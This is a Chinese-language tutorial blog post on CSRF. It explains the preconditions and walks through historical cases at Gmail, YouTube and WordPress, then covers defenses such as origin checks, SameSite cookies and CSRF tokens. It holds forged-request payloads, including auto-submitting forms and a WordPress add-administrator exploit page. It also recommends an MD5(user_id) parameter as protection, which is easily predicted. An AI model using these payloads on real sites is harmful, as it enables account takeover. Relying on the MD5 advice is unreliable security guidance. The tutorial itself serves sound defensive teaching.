CSRF是什么
CSRF: Cross-site request forgery(跨站请求伪造)是一种安全漏洞,攻击者可以诱导用户做出一些他们并不知情的行为。它允许攻击者部分规避同源策略(同源策略旨在防止不同网站相互干扰)。
例子:
这个例子中,我们能看到,用户只是正常访问了一个网站bank.com
,这个网站安全做的不够好,将所有的用户凭证存于cookie
,服务器验证也只是从cookie
中获取用户识别信息,当这个时候,客户不小心点击了一个攻击者发给他的链接,这个链接直接使用bank.com
这个站点的cookie
将请求发给bank.com
(这是浏览器的行为,自动带上cookie
),然后bank.com
这个站点因为只是根据cookie
获取用户信息,那么就认定这个请求是该用户发送的,于是就进行了汇款操作。
CSRF的必要条件
根据上面给出的例子,我们大概能总结出,要实施一个CSRF攻击,需要包含以下几点:
- 可从三方网站发动攻击
- 用户身份认证完全基于cookie
- 请求参数均可模拟
- 诱导行为
可从三方网站发动攻击
这个其实比较好理解,一个网站内部不会故意欺骗自己,如果有漏洞,那也是XSS之类的,并不是CSRF,而一个站点如果保护不全,是可以从三方直接访问到自身的。
用户身份认证完全基于cookie
即服务器对于请求的识别,全部基于cookie,例如用户id,或者用户token之类,全部是服务器从cookie中解析出来的,不存在其他基于header之类的身份信息(token之类)
比如有下面代码:
@GetMapping("/transfer")
public String readCookie(@CookieValue(value = "username", defaultValue = "Atta") String username,
@RequestParam("account")String account, @RequestParam("amount") String amount) {
doTransfer(username, account, amount);
}
这段代码,就是从cookie中获取当前用户信息,然后从请求参数中获取要转账的对方账户信息以及转账金额,一旦触发前面图片中的链接http://bank.com/transfer?account=lisi&account=100
就会直接转账给别人了。
请求参数均可预测
即整个请求中,所有的参数都可以预测,如果需要动态生成的那种攻击者无法模拟的参数,那么攻击也无法实施。
想想看,如果有特殊参数,比如user id
的hash
值,在前面的连接中,还有个user_hash=202cb962ac59075b964b07152d234b70
,攻击者无法模拟这个参数,那么服务器进行校验的时候,也能屏蔽掉此次请求。
诱导行为
攻击者需要利用真实用户的真实会话信息(cookie),因此整个执行过程是用户触发的,如何诱骗用户触发此类攻击行为,是此类攻击的一个必备前置条件。这个一般制作出一些请求就行了。
诱导行为可以有很多种,这里列举几类:
- 三方页面上将图片等资源设置为被攻击站点的链接 (自动发送攻击请求)
<img src="http://bank.com/transfer?account=lisi&amount=100">
- 三方页面制作被攻击站点请求的form表单(自动发送攻击请求)
<form action="http://bank.com/transfer">
<input type="hidden" name="account" value="lisi">
<input type="hidden" name="amount" value="100">
</form>
<script>
form[0].submit();
</script>
- 三方页面构造链接,诱导用户点击 (手动触发)
<a href=“http://bank.com/transfer?account=lisi&amount=100”>只差0.1元,家人们帮我砍一刀!</a>
一些经典案例
这里给大家看一些经典案例,大致了解下这种攻击的危害性
2007年Gmail的CSRF事件
2007年Gmail上线了一个功能,就是邮件过滤器,用户可以创建一个邮件过滤器,可以设定自动转发满足规则的邮件到另一个邮箱。
一切都是因为这个功能导致。
某一天,有用户不小心点击了一个陌生的链接,但是里面什么都没有发生(其实已经发生了可怕的事情,攻击使用CSRF漏洞创建了一个邮件过滤器,将该用户的域名转让的验证邮件都转发给攻击者的邮箱)。
又是某一天,该用户发现自己的域名被转让了,自己都不知道?!!他以为自己忘记续费,直到某一天,攻击者联系上该用户,给出$650的赎回价格,他才明白出了问题。
现在来复现一下当时的情况。
下面是钓鱼链接页面的真正内容:
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="[email protected]"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>
- 这个页面一旦打开,用户就会向Gmail发送一个post请求。请求中,执行了
“Create Filter”
命令,将所有的邮件,转发到“[email protected]”
。 - 由于刚刚就登陆了Gmail,所以这个请求发送时,携带着用户的登录凭证(
Cookie
),Gmail的后台接收到请求,验证了确实有用户的登录凭证,于是成功给用户配置了过滤器。 - 攻击者可以包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。
注意,这个漏洞爆发后,Google已经及时修复。
2008年Youtube的CSRF漏洞
2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF
漏洞。
如果攻击者已经将视频添加到用户的“Favorites”
,那么他就能将他自己添加到用户的“Friend”
或者“Family”
列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。例如,要把视频添加到用户的“Favorites”
,攻击者只需在任何站点上嵌入如下所示的IMG
标签:
<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>
攻击者也许已经利用了该漏洞来提高视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”
,YouTube
就会把该视频作为“Top Favorites”
来显示。除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”,从而导致YouTube
删除该视频。
这些攻击还可能已被用于侵犯用户隐私。YouTube
允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”
或“Family”
列表,这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。
攻击者还可以通过用户的所有联系人名单(“Friends”
、“Family”
等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加消息。这条消息中的链接已经并不是真正意义上的视频链接,而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,这便使得该种攻击能够进行病毒式的传播。
2012年WordPress的CSRF漏洞
2012年3月份,WordPress
发现了一个CSRF
漏洞,影响了WordPress 3.3.1
版本,WordPress
是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post
的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator’s email
- Change Wordpress Address
- Change Site Address
那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress
,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,添加某个具有管理员权限的用户,实现的码如下:
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add Administrator</H2>
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
<input type="hidden" name="action" value="createuser"/>
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>
<input type="hidden" name="user_login" value="admin2"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="first_name" value="[email protected]"/>
<input type="hidden" name="last_name" value=""/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="pass1" value="password"/>
<input type="hidden" name="pass2" value="password"/>
<input type="hidden" name="role" value="administrator"/>
<input type="hidden" name="createuser" value="Add+New+User+"/>
</form>
</body>
</html>
如何防治CSRF
前面我们提到了CSRF构成的几个核心要素,这里再次回顾下:
- 可从三方网站发动攻击
- 用户身份认证完全基于cookie
- 请求参数均可模拟
- 诱导行为
那么要防治CSRF,只需要破坏这几个必要条件就行了。
我们可以限制三方网站访问/改进基于cookie的认证/添加额外验证参数/提高警惕不被诱导等几个方面来破坏上面的几个必要条件。
禁止不明外域访问
禁止不明外域的访问,可以最大限度的限制三方网站发动的CSRF攻击,主要分为两大类:
同源检测 以及 Samesite Cookie
同源检测
众所周知,浏览器存在同源策略(Same-Origin Policy
),这个策略限制了不同源之间如何进行数据交互,属于一种安全机制。
是否同源由URL的协议、域名、端口号决定,如果两个URL 的这三者均相同,则认为他们是同源的,否则有一个不同就是不同源,不同源之间相互访问资源会受到某些限制(注意不是任何资源都完全访问不了,而是某些方法会受到限制比如Document对象的很多属性啦、XHR生成的HTTP请求等)
浏览器发送请求的时候,会携带两个头部:Referer
和Origin
,服务器后端可以根据这两个Header的内容,选择对不识别的站点进行屏蔽。
Referer
Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
Origin
Origin 标头与 Referer 标头类似,但前者不会暴露 URL 的 path 部分,而且其可以为 null 值。其用于为源站的请求提供“安全上下文”,除非源站的信息敏感或不必要的。
从广义上讲,用户代理会在以下情况中添加 Origin 请求标头:
- 跨源请求
- 除 GET 和 HEAD 以外的同源请求(即它会被添加到同源的 POST、OPTIONS、PUT、PATCH 和 DELETE 请求中)。
除上述规则外,还有一些特殊情况。例如,在 no-cors 模式下的跨源 GET 或 HEAD 请求不会发送 Origin 标头。
Origin 标头在以下情况中(不完整)会被设置为 null:
- 请求来源的协议不是 http、https、ftp、ws、wss 或 gopher 中的任意一个(如:blob、file 和 data)。
- 跨源的图像或媒体,包括:
<img>
、<video>
和<audio>
元素。 - 属于以下几种文档类型的:使用 createDocument() 创建的、通过 data: URL 生成的或没有创建者的浏览上下文的。
- 跨源重定向。
- 没有为 sandbox 属性设置 allow-same-origin 值的 iframe。
- 响应(response)是网络错误。
Samesite Cookie
SameSite 是 HTTP 响应头 Set-Cookie 的属性之一。它允许您声明该 Cookie 是否仅限于第一方或者同一站点上下文。
SameSite 接受下面三个值:Lax,Strict, None
Lax
Cookies 允许与顶级导航一起发送,并将与第三方网站发起的 GET 请求一起发送。这是浏览器中的默认值。
Strict
Cookies 只会在第一方上下文中发送,不会与第三方网站发起的请求一起发送。
None
Cookie 将在所有上下文中发送,即允许跨站发送。
以前 None 是默认值,但最近的浏览器版本将 Lax 作为默认值,以便对某些类型的CSRF攻击具有相当强的防御能力。
改进基于cookie的认证
既然出现CSRF的一个前置条件,是服务器针对用户身份的识别是完全基于Cookie的,那么只要我们改造一些这个用户身份的识别流程,就可以了。
具体可以有两个方法:CSRF Token以及Double Cookie
CSRF Token
我们可以使用Token来验证用户身份,并且Token并不是存在于Cookie中,而是在Header中传给后台服务器,服务器从Header中获取Token,识别用户身份,因为CSRF的特点之一是它只能利用用户浏览器自动携带Cookie,但并不知道Cookie的内容。我们基于Header传入Token就可以完全避免这个问题。
使用CSRF Token的步骤如下:
1、服务器下发随机Token
2、客户端将Token放到请求Header中,访问服务器
注意一般CSRF有时候也叫做XSRF,所以部分Web框架中将CSRF Token也叫做XSRF Token
Double Cookie
上面的CSRF Token的一个缺点是,需要服务器优先生成Token,时候还能比对,是有状态的,这样就需要存储。
有一种纯粹靠客户端存取Cookie的方法,可以避免这一点,一般称为双重Cookie方法。
1、服务器下发随机Token
2、Token存于Cookie,但是请求的时候,将Cookie中的Token拿出来放到Header中
3、服务器同时校验Cookie中的Token和Header中的Token是否一致,即可
这个思想就是纯粹的无状态的验证方式(是不是有点类似JWT?)
添加额外验证参数
其实大部分的诱导链接之所以能够成功造成CSRF攻击,还有一点就是一个请求的全部参数都很容易识别,容易伪造,如果我们加上额外的验证参数是不是就可以了呢?
是可以的。
比如一个请求 http://bank.com/transfer?account=lisi&amount=100
考虑到攻击者并不知道用户的真实Cookie,我们可以在请求参数中再添加一个参数:user_hash,然后user_hash的内容是cookie中可以取出来的user_id的MD5值,即user_hash=MD5(user_id)
,比如用户id是123这些请求就是 http://bank.com/transfer?account=lisi&amount=100&user_hash=202cb962ac59075b964b07152d234b70
服务器可以通过从Cookie中获取user_id是123,再对比参数user_hash=MD5(123),校验成功才左右后续业务逻辑,否则直接拒绝本次请求。
这个和Double Cookie
类似,必过可以加上一些算法上的变通。或者本身这个user_id就不存在于Cookie中。
总结
CSRF主要是在三方站点诱导利用第一方站点的用户,让他的浏览器携带其cookie去做一些用户无感知的行为,但是因为没法直接获取cookie内容,危害性没有XSS那么大,其防治方法也相对简单。
评论区